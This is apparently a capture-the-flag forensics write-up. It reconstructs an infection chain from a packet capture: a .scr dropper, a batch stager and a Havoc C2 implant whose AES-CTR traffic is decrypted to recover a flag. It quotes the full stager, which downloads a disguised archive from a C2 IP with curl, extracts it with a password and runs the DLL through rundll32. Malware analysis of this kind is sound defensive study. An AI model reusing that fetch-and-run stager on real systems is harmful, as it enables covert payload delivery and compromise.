No Start Where

Files

Download: forensics_no_start_where.zip

Challenge

This forensics challenge ships a packet capture from a compromised system and asks us to reconstruct the full infection chain: the initial dropper, the staged payloads, and the C2 traffic that ultimately exfiltrates the flag.

No Start Where
As echoes of the Dark War lingered in UNZ's cyber-warfare HQ, a beacon blinked ominously. An analyst turned a wary eye to the screen. The alarm signal originated from the main system that controls the mining machinery! It was an attack from the Board of Arodor, aimed at crippling the mining infrastructure. Initial investigation of the network traffic revealed that the system has been compromised! Your task is to disinfect the system by uncovering the infiltration method and potential post-exploitation steps!

The end goal: the implant turns out to be a Havoc C2 implant. Because Havoc is open source, we can read the implant source on GitHub, recover the AES key from the first HTTP request, decrypt the rest of the traffic, and pull the flag out of the staged payload.

Recon: Carving the Dropper From the PCAP

Working through the capture, the first artifact is a .zip carried over the wire. Extracting it yields a .scr file, which is really a Windows executable (the .scr screensaver extension is just a renamed .exe).

The executable expects a command-line parameter and compares it against a hardcoded value embedded in the assembly:

8ED9F66DE0445973B670B0AB146ADE94

When run with the correct code, the binary carves and decrypts resources packed inside itself and writes them out to forge a batch file named testttttttt.bat in a temp folder.

Enumeration: The Staging Batch File

That dropped testttttttt.bat is the stager. It checks whether the next-stage DLL is already present; if not, it downloads another artifact from the C2 server and unpacks it. Note that the downloaded WINWORD.EXE is not actually Word, it is a password-protected 7-Zip archive.

@eCHo off
SEt R=JgigtGXzswbhmuSHIOA
cLs
@ecHO On
@shift /0
cd C:\Users\Root\AppData\Local\Temp
if exist C:\Users\Root\AppData\Local\Temp\bundau.dll (
rundll32.exe bundau.dll  Start
exit /b
) else (
curl.exe --url "http://140.238.217.117:4953/WINWORD.EXE" --output WINWORD.EXE
cd C:\Users\Root\AppData\Local\Temp
"C:\Program Files\7-Zip\7z.exe" x WINWORD.EXE -pNjg1NDM4NjY0YzQwNjc
rundll32.exe bundau.dll  Start
)
@echo off
set a = %%~i
set a = ~i"%%~i"
set a =
:aaaaaaaaaaaaaaaaaaaaaaaaaaaaab

The batch file leaks the archive password directly: Njg1NDM4NjY0YzQwNjc. After extraction it runs rundll32.exe bundau.dll Start, so bundau.dll is the real implant.

Exploitation: Unpacking the Implant

Since we have the password from the stager, we can carve WINWORD.EXE out of the PCAP and decrypt the 7-Zip archive to recover bundau.dll. This DLL is responsible for all the HTTP POST requests to / seen in the capture.

Reversing the DLL reveals the AES S-box constants. Tracing outward from that function shows that the encryption keys are sent in the first request and then reused to encrypt every subsequent request. This matches the Havoc implant: the key is generated randomly on the host (based on GetTickCount and RtlRandomEx) but is transmitted to the operator in the very first beacon, so it is fully recoverable from the traffic.

So the plan is to harvest the key material from the first request, then decrypt the responses to find the file that contains the flag.

Recovering the Key and IV

The traffic is not TLS — it is AES-CTR applied to the raw packet bodies. The first packet’s HTTP body looks like this:

000000d2deadbeef1945acc40000000000000063d67078c44224e658f402ae447a101206e88e20ca3028062c668e60a41082fab88a34bce42cc46a2ad0a48ebcfeb0aa3620667411b347898d9e4d2176bf1887e42be2c7a9f17ac6b1b5c6e20bd96a9f342083fa602c4d65a247025ab6f1522a62522ad31975069991e1e6b552b9e03e4532399c069a796a2755fdf57be86d7d2c92320ee50750cd7b481113959da934bea2dd166d9088046c0268100d67b3c4c3119a59a3962f9fd7ba8077444d0d451878163d03cf2dc4a12f8bbabd9735462a0216

Per the implant layout, the key is the 32 bytes starting at the 20th byte, immediately followed by the 16-byte IV:

key = d67078c44224e658f402ae447a101206e88e20ca3028062c668e60a41082fab8
iv  = 8a34bce42cc46a2ad0a48ebcfeb0aa36

Decrypting the Traffic

Using that key and IV with AES-CTR, we decrypt the trailing ciphertext from the packet body. Repeating this for every packet in the conversation reconstructs the full C2 exchange — including the staged .NET file sent from the server, which contains a Check function holding the XOR-encrypted flag.

The following CyberChef recipe performs the AES-CTR decryption of the first packet’s payload:

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'d67078c44224e658f402ae447a101206e88e20ca3028062c668e60a41082fab8'%7D,%7B'option':'Hex','string':'8a34bce42cc46a2ad0a48ebcfeb0aa36'%7D,'CTR','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=MjA2Njc0MTFiMzQ3ODk4ZDllNGQyMTc2YmYxODg3ZTQyYmUyYzdhOWYxN2FjNmIxYjVjNmUyMGJkOTZhOWYzNDIwODNmYTYwMmM0ZDY1YTI0NzAyNWFiNmYxNTIyYTYyNTIyYWQzMTk3NTA2OTk5MWUxZTZiNTUyYjllMDNlNDUzMjM5OWMwNjlhNzk2YTI3NTVmZGY1N2JlODZkN2QyYzkyMzIwZWU1MDc1MGNkN2I0ODExMTM5NTlkYTkzNGJlYTJkZDE2NmQ5MDg4MDQ2YzAyNjgxMDBkNjdiM2M0YzMxMTlhNTlhMzk2MmY5ZmQ3YmE4MDc3NDQ0ZDBkNDUxODc4MTYzZDAzY2YyZGM0YTEyZjhiYmFiZDk3MzU0NjJhMDIxNg

With the responses decrypted and the .NET payload’s XOR-encrypted flag recovered, we get the flag.